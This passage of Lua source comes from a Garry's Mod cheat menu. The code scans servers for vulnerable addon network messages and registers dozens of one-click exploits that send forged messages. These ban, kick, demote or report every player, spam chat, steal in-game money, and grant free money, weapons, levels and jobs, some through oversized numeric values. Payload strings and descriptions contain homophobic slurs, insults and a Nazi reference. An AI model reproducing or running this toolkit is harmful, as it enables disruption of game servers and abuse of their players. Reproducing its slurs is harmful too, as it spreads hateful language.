5411if (status) then
5412ECPrint("Found Exploit: Voteban [VoteBanNO]")
5413addExploit( "38","Voteban", "bans all", function()
5414surface.PlaySound("garrysmod/ui_click.wav")
5415for k,v in pairs(player.GetAll()) do
5416net.Start("VoteBanNO")
5417net.WriteFloat(v:EntIndex())
5418net.WriteFloat(8)
5419net.SendToServer()
5420net.Start("VoteBanNO")
5421net.WriteFloat(v:EntIndex())
5422net.WriteFloat(8)
5423net.SendToServer()
5424net.Start("VoteBanNO")
5425net.WriteFloat(v:EntIndex())
5426net.WriteFloat(8)
5427net.SendToServer()
5428end
5429end )
5430end
5431
5432status = ValidNetString("NewReport")
5433if (status) then
5434ECPrint("Found Exploit: Custom Report [NewReport]")
5435addExploit( "39","Custom Report", "Report all faggots", function()
5436surface.PlaySound("garrysmod/ui_click.wav")
5437for k,v in pairs(player.GetAll()) do
5438net.Start("NewReport")
5439net.WriteType(ply)
5440net.WriteInt(8,5)
5441net.WriteString("hahaha")
5442net.SendToServer()
5443end
5444end )
5445end
5446
5447status = ValidNetString("Warn_CreateWarn")
5448if (status) then
5449ECPrint("Found Exploit: Custom Warn [Warn_CreateWarn]")
5450addExploit( "40","Custom Warn", "Warn all faggots", function()
5451surface.PlaySound("garrysmod/ui_click.wav")
5452for k,v in pairs(player.GetAll()) do
5453net.Start("Warn_CreateWarn")
5454net.WriteEntity(ply)
5455net.WriteString("hahaha")
5456net.SendToServer()
5457end
5458end )
5459end
5460
5461status = ValidNetString("showDisguiseHUD")
5462if (status) then
5463ECPrint("Found Exploit: Disguise #2 [showDisguiseHUD]")
5464addExploit( "41","Disguise #2", "allows you to disguise as any job", function()
5465surface.PlaySound("garrysmod/ui_click.wav")
5466ECPrint("Choose a disguise")
5467PlayerCount = 0
5468for k, v in pairs(player.GetAll()) do
5469PlayerCount = PlayerCount + 1
5470end
5471local TeamNum
5472local disguise_Model_Preview_Default
5473local base = vgui.Create("DFrame")
5474base:SetSize(300,420)
5475base:Center()
5476base:SetTitle(" ")
5477base:ShowCloseButton(false)
5478base:MakePopup()
5479function base:Paint()
5480draw.RoundedBoxEx( 5, 0, 0, base:GetWide(), base:GetTall(), Color(20,20,20,200),false,true)
5481draw.RoundedBox( 0, 0, 30, base:GetWide(), base:GetTall()-60, Color(10,10,10,200))
5482draw.RoundedBox( 0, 0, 30, base:GetWide(), 5, Color(255,255,255,255))
5483draw.RoundedBox( 0, 0, 390, base:GetWide(), 5, Color(255,255,255,255))
5484draw.SimpleText("Disguise", "DisFontBold", base:GetWide()/4, -1)
5485end
5486local ExitButton = vgui.Create("DButton", base)
5487ExitButton:SetPos(base:GetWide()+4-ExitButton:GetWide())
5488ExitButton:SetText("Close")
5489ExitButton:SetSize(60,20)
5490ExitButton:SetFont("DermaDefaultBold")
5491ExitButton.Paint = function()
5492if ExitButton.Hovered then
5493if ExitButton:IsDown() then
5494ExitButton:SetTextColor(Color(200,200,200,200))
5495draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,200),false,true)
5496else
5497ExitButton:SetTextColor(Color(255,255,255,255))
5498draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,255),false,true)
5499end
5500else
5501ExitButton:SetTextColor(Color(20,20,20,200))
5502draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200,0,0,200),false,true)
5503end
5504end
5505function ExitButton.DoClick()
5506base:Remove()
5507net.Start("changeToPhysgun")
5508net.SendToServer()
5509end
5510local DTeamChoice = vgui.Create("DComboBox", base)
5511DTeamChoice:SetSize(150, 22)
5512DTeamChoice:SetPos(75, 50)
5513DTeamChoice:SetValue("Select Job")
5514for k, v in pairs(team.GetAllTeams()) do
5515if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then DTeamChoice:AddChoice(team.GetName(k)) end
5516end
5517DTeamChoice.OnSelect = function(panel, index, value)
5518for k,_ in pairs(team.GetAllTeams()) do
5519if value == team.GetName(k) then
5520for _, v in pairs(player.GetAll())do
5521if v:Team() == k then
5522TeamNum = v:Team()
5523disguise_Model_Preview_Default = v:GetModel()
5524end
5525end
5526end
5527end
5528timer.Create("RefreshModel", 0.1, 0, function()
5529local icon = vgui.Create( "DModelPanel", base )
5530icon:SetSize(300, 260)
5531icon:SetPos(-5, 80)
5532icon:SetFOV(68)
5533icon:SetModel( disguise_Model_Preview_Default )
5534timer.Simple(0.1, function()
5535icon:Remove()
5536end)
5537end)
5538local DisguiseButton = vgui.Create("DButton", base)
5539DisguiseButton:SetPos(base:GetWide()/2.5, 360)
5540DisguiseButton:SetSize(60,20)
5541DisguiseButton:SetText("Accept")
5542DisguiseButton:SetFont("DermaDefaultBold")
5543function DisguiseButton:Paint()
5544if DisguiseButton.Hovered then
5545if DisguiseButton:IsDown() then
5546DisguiseButton:SetTextColor(Color(200,200,200,200))
5547draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,200))
5548else
5549DisguiseButton:SetTextColor(Color(255,255,255,255))
5550draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,220,0,255))
5551end
5552else
5553DisguiseButton:SetTextColor(Color(20,20,20,200))
5554draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,255))
5555end
5556end
5557function DisguiseButton:DoClick()
5558net.Start("SetPlayerModel")
5559if ChosenName == nil then
5560net.WriteString(LocalPlayer():Nick())
5561else
5562net.WriteString(ChosenName)
5563end
5564net.WriteUInt(TeamNum, 16)
5565net.SendToServer()
5566base:Close()
5567net.Start("changeToPhysgun")
5568net.SendToServer()
5569end
5570end
5571end
5572)
5573end
5574
5575status = ValidNetString("Chatbox_PlayerChat")
5576if (status) then
5577ECPrint("Found Exploit: WilloxChat Spam [Chatbox_PlayerChat]")
5578addExploit( "42","WilloxChat Spam", "spam in chat", function()
5579surface.PlaySound("garrysmod/ui_click.wav")
5580ECNotify("Starting")
5581timer.Create("willoxchatspam", 1, 0, function()
5582net.Start("Chatbox_PlayerChat")
5583net.WriteEntity(LocalPlayer())
5584net.WriteBit(1)
5585net.WriteString("FAGGOTS")
5586net.WriteBit(1)
5587net.SendToServer()
5588end )
5589end )
5590end
5591
5592status = ValidNetString("BuilderXToggleKill")
5593if (status) then
5594ECPrint("Found Exploit: BuilderXToggleKill [BuilderXToggleKill]")
5595addExploit( "43","BuilderXToggleKill", "old exploit, i dont remember what he was doing", function()
5596surface.PlaySound("garrysmod/ui_click.wav")
5597ECNotify("Starting")
5598for k, v in pairs(player.GetAll()) do
5599net.Start("BuilderXToggleKill")
5600net.WriteEntity(ply)
5601net.SendToServer()
5602end
5603end )
5604end
5605
5606status = ValidNetString("reports.submit")
5607if (status) then
5608ECPrint("Found Exploit: Report All [reports.submit]")
5609addExploit( "44","Report All", "Report all faggots", function()
5610surface.PlaySound("garrysmod/ui_click.wav")
5611ECNotify("Starting")
5612for k,v in pairs(player.GetAll()) do
5613net.Start("reports.submit")
5614net.WriteEntity(v)
5615net.WriteInt(5, 8)
5616net.WriteString("SuckMyDick")
5617net.SendToServer()
5618end
5619end )
5620end
5621
5622status = ValidNetString("services_accept")
5623if (status) then
5624ECPrint("Found Exploit: Infernus Service Accept [services_accept]")
5625addExploit( "45","Infernus Service Accept", "spam to all players", function()
5626surface.PlaySound("garrysmod/ui_click.wav")
5627ECNotify("Starting")
5628timer.Create("serviceaccept", 0, 0, function()
5629for k,v in pairs(player.GetAll()) do
5630net.Start("services_accept")
5631net.WriteString("Nice security, retards xd")
5632net.WriteVector(Vector(v:GetPos()))
5633net.WriteString("test image")
5634net.WriteEntity(v)
5635net.SendToServer()
5636end
5637end )
5638timer.Simple(4, function()
5639timer.Destroy("serviceaccept")
5640end )
5641end )
5642end
5643
5644status = ValidNetString("lockpick_sound")
5645if (status) then
5646ECPrint("Found Exploit: LockPick Sound Spam [lockpick_sound]")
5647addExploit( "46","LockPick Sound Spam", "", function()
5648surface.PlaySound("garrysmod/ui_click.wav")
5649ECNotify("Starting")
5650timer.Create( "spamlockpicksound", 3, 0, function()
5651for k, v in pairs( player.GetAll() ) do
5652net.Start("lockpick_sound")
5653net.WriteEntity(v)
5654net.SendToServer()
5655end
5656end )
5657timer.Simple(4, function()
5658timer.Destroy("spamlockpicksound")
5659end )
5660end )
5661end
5662
5663status = ValidNetString("customprinter_get")
5664if (status) then
5665ECPrint("Found Exploit: Realistic Printers Steal Money [customprinter_get]")
5666addExploit( "47","Realistic Printers Steal Money", "stealing money from printers", function()
5667surface.PlaySound("garrysmod/ui_click.wav")
5668ECNotify("Starting")
5669for k, v in pairs(ents.GetAll()) do
5670if v:GetClass():find("print") then
5671net.Start("customprinter_get")
5672net.WriteEntity(v)
5673net.WriteString("g_money")
5674net.SendToServer()
5675end
5676end
5677end )
5678end
5679
5680status = ValidNetString("InformPlayer")
5681if (status) then
5682ECPrint("Found Exploit: SimpleGrab Inform [InformPlayer]")
5683addExploit( "48","SimpleGrab Inform", "Spam all players in the console", function()
5684surface.PlaySound("garrysmod/ui_click.wav")
5685ECNotify("Starting")
5686for k,v in pairs(player.GetAll()) do
5687for i = 0, 100 do
5688net.Start("InformPlayer")
5689net.WriteEntity(v)
5690net.SendToServer()
5691end
5692end
5693end )
5694end
5695
5696status = ValidNetString("pogcp_report_submitReport")
5697if (status) then
5698ECPrint("Found Exploit: Report All #2 [pogcp_report_submitReport]")
5699addExploit( "49","Report All #2", "Report all faggots", function()
5700surface.PlaySound("garrysmod/ui_click.wav")
5701ECNotify("Starting")
5702for i = 0, 100 do
5703for k,v in pairs(player.GetAll()) do
5704net.Start("pogcp_report_submitReport")
5705net.WriteString("lol")
5706net.WriteString("nice security retards")
5707net.WriteEntity(v)
5708net.SendToServer()
5709end
5710end
5711end )
5712end
5713
5714status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
5715if (status) then
5716ECPrint("Found Exploit: Fuhrer Submit Candidacy [1942_Fuhrer_SubmitCandidacy]")
5717addExploit( "50","Fuhrer Submit Candidacy", "you instantly become a Fuhrer, Sieg Heil", function()
5718surface.PlaySound("garrysmod/ui_click.wav")
5719ECNotify("Starting")
5720net.Start("1942_Fuhrer_SubmitCandidacy")
5721net.WriteString(LocalPlayer():Nick())
5722net.SendToServer()
5723end )
5724end
5725
5726status = ValidNetString("FacCreate")
5727if (status) then
5728ECPrint("Found Exploit: Fac Create [FacCreate]")
5729addExploit( "51","Fac Create", "old exploit", function()
5730surface.PlaySound("garrysmod/ui_click.wav")
5731ECNotify("Starting")
5732timer.Create("fucklol", 1, 0, function()
5733net.Start("FacCreate")
5734net.WriteString("LOL " .. random_string(5))
5735net.WriteString("LOL " .. random_string(10))
5736net.WriteColor(random_color())
5737net.WriteBool(false)
5738net.WriteString(random_string(5))
5739net.SendToServer()
5740end )
5741end )
5742end
5743
5744status = ValidNetString("FactionInviteConsole")
5745if (status) then
5746ECPrint("Found Exploit: Faction Invite [FactionInviteConsole]")
5747addExploit( "52","Faction Invite", "", function()
5748surface.PlaySound("garrysmod/ui_click.wav")
5749ECNotify("Starting")
5750timer.Create("lovedarkexploitsxd", 1, 0, function()
5751for k, v in pairs(player.GetAll()) do
5752net.Start("FactionInviteConsole")
5753net.WriteEntity( ply )
5754net.WriteEntity(table.Random(player.GetAll()))
5755net.SendToServer()
5756end
5757end )
5758end )
5759end
5760
5761status = ValidNetString("WithdrewBMoney")
5762if (status) then
5763ECPrint("Found Exploit: Free Money #2 [WithdrewBMoney]")
5764addExploit( "53","Free Money #2", "an exploit in the addon 'business'", function()
5765surface.PlaySound("garrysmod/ui_click.wav")
5766ECNotify("Starting")
5767net.Start("WithdrewBMoney")
5768net.WriteInt(50000,32)
5769net.SendToServer()
5770end )
5771end
5772
5773status = ValidNetString("deathrag_takeitem")
5774if (status) then
5775ECPrint("Found Exploit: Easy Items [deathrag_takeitem]")
5776addExploit( "54","Easy Items", "collects money, weapons", function()
5777surface.PlaySound("garrysmod/ui_click.wav")
5778ECNotify("Starting")
5779count = 0
5780for k, v in pairs( ents.GetAll() ) do
5781if v:GetClass() == "prop_ragdoll" then
5782count = count + 1
5783end
5784end
5785if count == 0 then
5786ECPrint("No items found")
5787else
5788ECPrint("Amount of items "..count)
5789end
5790for k, v in pairs( ents.GetAll() ) do
5791if v:GetClass() == "prop_ragdoll" then
5792for i=1,10 do
5793net.Start("deathrag_takeitem")
5794net.WriteEntity( v )
5795net.WriteInt(i,16)
5796net.SendToServer()
5797end
5798end
5799end
5800end )
5801end
5802
5803status = ValidNetString("REPPurchase")
5804if (status) then
5805ECPrint("Found Exploit: Heal and Armor [REPPurchase]")
5806addExploit( "55","Heal and Armor", "armor and hp", function()
5807surface.PlaySound("garrysmod/ui_click.wav")
5808ECNotify("Starting")
5809if LocalPlayer():Health() < 99 then
5810net.Start("REPPurchase")
5811net.WriteString("HEALTH")
5812net.SendToServer()
5813end
5814if LocalPlayer():Armor() < 99 then
5815net.Start("REPPurchase")
5816net.WriteString("ARMOR")
5817net.SendToServer()
5818end
5819end )
5820end
5821
5822status = ValidNetString("BTTTStartVotekick")
5823if (status) then
5824ECPrint("Found Exploit: Votekick #2 [BTTTStartVotekick]")
5825addExploit( "56","Votekick #2", "kick all noobs", function()
5826surface.PlaySound("garrysmod/ui_click.wav")
5827ECNotify("Starting")
5828for k,v in pairs(player.GetAll()) do
5829if v != LocalPlayer() then
5830net.Start("BTTTStartVotekick")
5831net.Start("_nonDBVMVote")
5832net.WriteEntity(v)
5833net.WriteString("")
5834net.WriteString("1")
5835net.SendToServer()
5836end
5837end
5838end )
5839end
5840
5841status = ValidNetString("Resupply")
5842if (status) then
5843ECPrint("Found Exploit: Respawn Equipment [Resupply]")
5844addExploit( "57","Respawn Equipment", "", function()
5845surface.PlaySound("garrysmod/ui_click.wav")
5846ECNotify("Starting")
5847net.Start("Resupply")
5848net.SendToServer()
5849end )
5850end
5851
5852status = ValidNetString("DarkRP_Defib_ForceSpawn")
5853if (status) then
5854ECPrint("Found Exploit: Respawn #2 [DarkRP_Defib_ForceSpawn]")
5855addExploit( "58","Respawn #2", "just respawn", function()
5856surface.PlaySound("garrysmod/ui_click.wav")
5857ECNotify("Respawn")
5858net.Start("DarkRP_Defib_ForceSpawn")
5859net.SendToServer()
5860end )
5861end
5862
5863status = ValidNetString("FiremanLeave")
5864if (status) then
5865ECPrint("Found Exploit: Fireman Leave [FiremanLeave]")
5866addExploit( "59","Fireman Leave", "", function()
5867surface.PlaySound("garrysmod/ui_click.wav")
5868ECNotify("Starting")
5869net.Start("FiremanLeave")
5870net.SendToServer()
5871end )
5872end
5873
5874status = ValidNetString("PoliceJoin")
5875if (status) then
5876ECPrint("Found Exploit: Join the Police 1 [PoliceJoin]")
5877addExploit( "60","Join the Police 1", "joining the police", function()
5878surface.PlaySound("garrysmod/ui_click.wav")
5879ECNotify("Starting")
5880net.Start("PoliceJoin")
5881net.SendToServer()
5882end )
5883end
5884
5885status = ValidNetString("CreateEntity")
5886if (status) then
5887ECPrint("Found Exploit: Create Entity [CreateEntity]")
5888addExploit( "61","Create Entity", "", function()
5889surface.PlaySound("garrysmod/ui_click.wav")
5890ECNotify("Starting")
5891for k,v in pairs(player.GetAll()) do
5892net.Start("CreateEntity")
5893net.WriteString("sent_arc_atm")
5894net.WriteFloat(100000000000000000000000000000000000000000000000000)
5895net.WriteEntity(v)
5896net.SendToServer()
5897end
5898end )
5899end
5900
5901status = ValidNetString("CREATE_REPORT")
5902if (status) then
5903ECPrint("Found Exploit: CREATE REPORT [CREATE_REPORT]")
5904addExploit( "62","CREATE REPORT", "", function()
5905surface.PlaySound("garrysmod/ui_click.wav")
5906ECNotify("Starting")
5907local tab = {
5908 REPORTER = v:Nick(),
5909 REPORTERID = v:SteamID(),
5910 FAGGOT = v:Nick(),
5911 FAGGOTID = v:SteamID(),
5912 INFO = "Say hi to youtube",
5913 PROOF = "https://www.youtube.com/channel/UCmiP5W8BuaLzzGcJVKORErg"
5914 }
5915for k,v in pairs(player.GetAll()) do
5916net.Start("CREATE_REPORT")
5917net.WriteTable(tab)
5918net.SendToServer()
5919end
5920end )
5921end
5922
5923status = ValidNetString("Hopping_Test")
5924if (status) then
5925ECPrint("Found Exploit: Hopping Test [Hopping_Test]")
5926addExploit( "62","Hopping Test", "", function()
5927surface.PlaySound("garrysmod/ui_click.wav")
5928ECNotify("Starting")
5929for k,v in pairs(player.GetAll()) do
5930net.Start("Hopping_Test")
5931net.WriteEntity(v)
5932net.WriteString("69.696.696969.69")
5933net.SendToServer()
5934end
5935end )
5936end
5937
5938status = ValidNetString("CpForm_Answers")
5939if (status) then
5940ECPrint("Found Exploit: Join the Police 2 [CpForm_Answers]")
5941addExploit( "63","Join the Police 2", "joining the police #2", function()
5942surface.PlaySound("garrysmod/ui_click.wav")
5943ECNotify("Starting")
5944net.Start("CpForm_Answers")
5945net.WriteEntity(LocalPlayer())
5946net.WriteTable({})
5947net.SendToServer()
5948end )
5949end
5950
5951status = ValidNetString("VehicleUnderglow")
5952if (status) then
5953ECPrint("Found Exploit: Vehicle Underglow [VehicleUnderglow]")
5954addExploit( "64","Vehicle Underglow", "", function()
5955surface.PlaySound("garrysmod/ui_click.wav")
5956ECNotify("Starting")
5957net.Start("VehicleUnderglow")
5958net.SendToServer()
5959end )
5960end
5961
5962status = ValidNetString("OpenGates")
5963if (status) then
5964ECPrint("Found Exploit: Open Door #2 [OpenGates]")
5965addExploit( "65","Open Door #2", "Force open the door you are looking at", function()
5966surface.PlaySound("garrysmod/ui_click.wav")
5967ECNotify("Starting")
5968net.Start("OpenGates")
5969net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
5970net.SendToServer()
5971end )
5972end
5973
5974status = ValidNetString("DemotePlayer")
5975if (status) then
5976ECPrint("Found Exploit: Demote All Players [DemotePlayer]")
5977addExploit( "66","Demote All Players", "Demote all players", function()
5978surface.PlaySound("garrysmod/ui_click.wav")
5979ECNotify("Starting")
5980for k, v in pairs(player.GetAll()) do
5981net.Start("DemotePlayer")
5982net.WriteString(v:SteamID())
5983net.SendToServer()
5984end
5985end )
5986end
5987
5988status = ValidNetString("SendMail")
5989if (status) then
5990ECPrint("Found Exploit: Send Mail [SendMail]")
5991addExploit( "67","Send Mail", "sending mail to all players", function()
5992surface.PlaySound("garrysmod/ui_click.wav")
5993ECNotify("Starting")
5994for k,v in pairs(player.GetAll()) do
5995net.Start("SendMail")
5996net.WriteString("haha nice security retards")
5997net.WriteString(v:Nick())
5998net.SendToServer()
5999end
6000end )
6001end
6002
6003status = ValidNetString("REPAdminChangeLVL")
6004if (status) then
6005ECPrint("Found Exploit: Admin Change Level [REPAdminChangeLVL]")
6006addExploit( "68","Admin Change Level", "free lvl", function()
6007surface.PlaySound("garrysmod/ui_click.wav")
6008ECNotify("Starting")
6009for k,v in pairs(player.GetAll()) do
6010net.Start("REPAdminChangeLVL")
6011net.WriteEntity(v)
6012net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
6013net.SendToServer()
6014end
6015end )
6016end
6017
6018status = ValidNetString("BuyUpgradesStuff")
6019if (status) then
6020ECPrint("Found Exploit: Buy Upgrades [BuyUpgradesStuff]")
6021addExploit( "69","Buy Upgrades", "free upgrades", function()
6022surface.PlaySound("garrysmod/ui_click.wav")
6023ECNotify("Starting")
6024net.Start("BuyUpgradesStuff")
6025net.WriteString("")
6026net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
6027net.SendToServer()
6028end )
6029end
6030
6031status = ValidNetString("SquadGiveWeapon")
6032if (status) then
6033ECPrint("Found Exploit: Give Weapons [SquadGiveWeapon]")
6034addExploit( "70","Give Weapons", "easy weapon", function()
6035surface.PlaySound("garrysmod/ui_click.wav")
6036inputFrameExists = true
6037inputFrame = vgui.Create( "DFrame" )
6038inputFrame:SetTitle("Choose a weapon!")
6039inputFrame:SetSize( 400, 75 )
6040inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6041inputFrame:SetDraggable(false)
6042inputFrame:ShowCloseButton(true)
6043inputFrame:MakePopup()
6044inputFrame.Paint = function( self, w, h )
6045draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6046end
6047local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6048TextEntry:SetSize( 380, 30 )
6049TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6050TextEntry:SetText( "ls_sniper" )
6051TextEntry.OnEnter = function( self )
6052surface.PlaySound("garrysmod/ui_click.wav")
6053ECNotify("Giving Weapon")
6054net.Start("SquadGiveWeapon")
6055net.WriteString( self:GetValue() )
6056net.WriteEntity(LocalPlayer())
6057net.SendToServer()
6058inputFrame:SetVisible(false)
6059end
6060end )
6061end
6062
6063status = ValidNetString("SetTableTarget")
6064if (status) then
6065ECPrint("Found Exploit: Set Table Target [SetTableTarget]")
6066addExploit( "71","Set Table Target", "", function()
6067surface.PlaySound("garrysmod/ui_click.wav")
6068ECNotify("Starting")
6069net.Start("SetTableTarget")
6070net.WriteString("pername")
6071net.WriteString("perjob")
6072net.WriteInt(-10000000000000, 32)
6073net.WriteString("hitmansel")
6074net.WriteString("Anony.")
6075net.WriteString("")
6076net.WriteFloat(0)
6077net.WriteInt(-10000000000000, 32)
6078net.SendToServer()
6079end )
6080end
6081
6082status = ValidNetString("UpdateRPUModelSQL")
6083if (status) then
6084ECPrint("Found Exploit: Change character model [UpdateRPUModelSQL]")
6085addExploit( "72","Change character model", "", function()
6086surface.PlaySound("garrysmod/ui_click.wav")
6087ECNotify("Starting")
6088net.Start("UpdateRPUModelSQL")
6089net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
6090net.SendToServer()
6091end )
6092end
6093
6094status = ValidNetString("disguise")
6095if (status) then
6096ECPrint("Found Exploit: Disguise [disguise]")
6097addExploit( "73","Disguise", "allows you to disguise as any job", function()
6098surface.PlaySound("garrysmod/ui_click.wav")
6099inputFrameExists = true
6100inputFrame = vgui.Create( "DFrame" )
6101inputFrame:SetTitle("Enter the number of the job")
6102inputFrame:SetSize( 400, 75 )
6103inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6104inputFrame:SetDraggable(false)
6105inputFrame:ShowCloseButton(true)
6106inputFrame:MakePopup()
6107inputFrame.Paint = function( self, w, h )
6108draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6109end
6110local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6111TextEntry:SetSize( 380, 30 )
6112TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6113TextEntry:SetText( "5" )
6114TextEntry.OnEnter = function( self )
6115surface.PlaySound("garrysmod/ui_click.wav")
6116ECNotify("Disguised")
6117net.Start("disguise")
6118net.WriteInt(tonumber(self:GetValue()), 32)
6119net.SendToServer()
6120inputFrame:SetVisible(false)
6121end
6122end )
6123end
6124
6125status = ValidNetString("gportal_rpname_change")
6126if (status) then
6127ECPrint("Found Exploit: Your RP Name #1 [gportal_rpname_change]")
6128addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp name", function()
6129surface.PlaySound("garrysmod/ui_click.wav")
6130inputFrameExists = true
6131inputFrame = vgui.Create( "DFrame" )
6132inputFrame:SetTitle("Enter your name")
6133inputFrame:SetSize( 400, 75 )
6134inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6135inputFrame:SetDraggable(false)
6136inputFrame:ShowCloseButton(true)
6137inputFrame:MakePopup()
6138inputFrame.Paint = function( self, w, h )
6139draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6140end
6141local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6142TextEntry:SetSize( 380, 30 )
6143TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6144TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
6145TextEntry.OnEnter = function( self )
6146surface.PlaySound("garrysmod/ui_click.wav")
6147ECNotify("Changed")
6148net.Start("gportal_rpname_change")
6149net.WriteString( (self:GetValue()), 32)
6150net.WriteString(" ")
6151net.SendToServer()
6152inputFrame:SetVisible(false)
6153end
6154end )
6155end
6156
6157status = ValidNetString("NewRPNameSQL")
6158if (status) then
6159ECPrint("Found Exploit: Your RP Name #2 [NewRPNameSQL]")
6160addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp name", function()
6161surface.PlaySound("garrysmod/ui_click.wav")
6162inputFrameExists = true
6163inputFrame = vgui.Create( "DFrame" )
6164inputFrame:SetTitle("Enter your name")
6165inputFrame:SetSize( 400, 75 )
6166inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6167inputFrame:SetDraggable(false)
6168inputFrame:ShowCloseButton(true)
6169inputFrame:MakePopup()
6170inputFrame.Paint = function( self, w, h )
6171draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6172end
6173local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6174TextEntry:SetSize( 380, 30 )
6175TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6176TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
6177TextEntry.OnEnter = function( self )
6178surface.PlaySound("garrysmod/ui_click.wav")
6179ECNotify("Changed")
6180net.Start("NewRPNameSQL")
6181net.WriteString( (self:GetValue()), 32)
6182net.SendToServer()
6183inputFrame:SetVisible(false)
6184end
6185end )
6186end
6187
6188status = ValidNetString("chname")
6189if (status) then
6190ECPrint("Found Exploit: Your RP Name #3 [chname]")
6191addExploit( "76","Your RP Name #3", "discovered by Leith", function()
6192surface.PlaySound("garrysmod/ui_click.wav")
6193inputFrameExists = true
6194inputFrame = vgui.Create( "DFrame" )
6195inputFrame:SetTitle("Enter your name")
6196inputFrame:SetSize( 400, 75 )
6197inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6198inputFrame:SetDraggable(false)
6199inputFrame:ShowCloseButton(true)
6200inputFrame:MakePopup()
6201inputFrame.Paint = function( self, w, h )
6202draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6203end
6204local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6205TextEntry:SetSize( 380, 30 )
6206TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6207TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
6208TextEntry.OnEnter = function( self )
6209surface.PlaySound("garrysmod/ui_click.wav")
6210ECNotify("Changed")
6211net.Start("chname")
6212net.WriteString( (self:GetValue()) )
6213net.WriteString(" ")
6214net.SendToServer()
6215inputFrame:SetVisible(false)
6216end
6217end )
6218end
6219
6220status = ValidNetString("AbilityUse")
6221if (status) then
6222ECPrint("Found Exploit: Free Bonus [AbilityUse]")
6223addExploit( "77","Free Bonus", "allows you to instantly get bonuses", function()
6224surface.PlaySound("garrysmod/ui_click.wav")
6225for k, v in ipairs(rp.abilities.list) do
6226ECPrint("ID - "..k.." | "..v:GetName())
6227inputFrameExists = true
6228inputFrame = vgui.Create( "DFrame" )
6229inputFrame:SetTitle("Enter the id of the bonus")
6230inputFrame:SetSize( 400, 75 )
6231inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6232inputFrame:SetDraggable(false)
6233inputFrame:ShowCloseButton(true)
6234inputFrame:MakePopup()
6235inputFrame.Paint = function( self, w, h )
6236draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6237end
6238local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6239TextEntry:SetSize( 380, 30 )
6240TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6241TextEntry:SetText( "6" )
6242TextEntry.OnEnter = function( self )
6243surface.PlaySound("garrysmod/ui_click.wav")
6244ECNotify("Received")
6245net.Start("AbilityUse")
6246net.WriteInt(tonumber(self:GetValue()), 32)
6247net.SendToServer()
6248inputFrame:SetVisible(false)
6249end
6250end
6251end )
6252end
6253
6254status = ValidNetString("race_accept")
6255if (status) then
6256ECPrint("Found Exploit: Get Car [race_accept]")
6257addExploit( "78","Get Car", "", function()
6258surface.PlaySound("garrysmod/ui_click.wav")
6259inputFrameExists = true
6260inputFrame = vgui.Create( "DFrame" )
6261inputFrame:SetTitle("Enter the id of the car")
6262inputFrame:SetSize( 400, 75 )
6263inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6264inputFrame:SetDraggable(false)
6265inputFrame:ShowCloseButton(true)
6266inputFrame:MakePopup()
6267inputFrame.Paint = function( self, w, h )
6268draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6269end
6270local TextEntry = vgui.Create( "DTextEntry", inputFrame )
